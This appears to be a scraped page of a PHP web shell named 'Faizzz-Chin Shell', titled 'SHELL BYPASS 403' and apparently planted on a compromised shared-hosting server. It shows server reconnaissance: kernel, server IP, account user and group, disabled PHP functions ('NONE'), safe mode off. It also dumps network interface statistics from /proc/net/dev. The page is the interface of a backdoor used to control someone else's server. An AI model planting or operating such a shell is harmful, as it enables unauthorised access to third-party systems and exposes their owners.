SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

Uname\Kernel: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server: LiteSpeed
PHP Version: 8.3.30 [ PHP INFO ]
Operating System: Linux
Server Ip: 172.67.152.218
Your Ip: 216.73.217.61
Date Time: 2026-05-11 01:48:42
User: repauqkb (12019) | Group: repauqkb (11967)
Safe Mode: OFF
Disable Function: NONE

name : dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 120782495833131 55469190464    0    0    0     0          0         0 120782495833131 55469190464    0    0    0     0       0          0
  eth0: 35948717584726 52972648253    0 18687828 18687828     0          0  64144214 84533298072612 76088714147    0    0    0     0       0          0
  eth1: 35818665399553 52755606601    0 17758489 17758489     0          0  63912062 59895271406965 56413155238    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bgplo:       0       0    0    0    0     0          0         0  1203182   17183    0    0    0     0       0          0
  eth5:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth6:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth7:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth8:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bond0: 71767382984279 105728254854    0 36446317 36446317     0          0 128056276 144428569479577 132501869385    0 1443    0     0       0          0
bond0.1000: 67758745184058 68452150805    0    0    0     0          0    590572 114667310664653 67804441417    0 1408    0     0       0          0
bond0.999: 793302479384 3922922984    0    0    0     0          0    572807 25793525498217 2111431764    0   35    0     0       0          0
 idrac:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
© 2026 Faizzz-Chin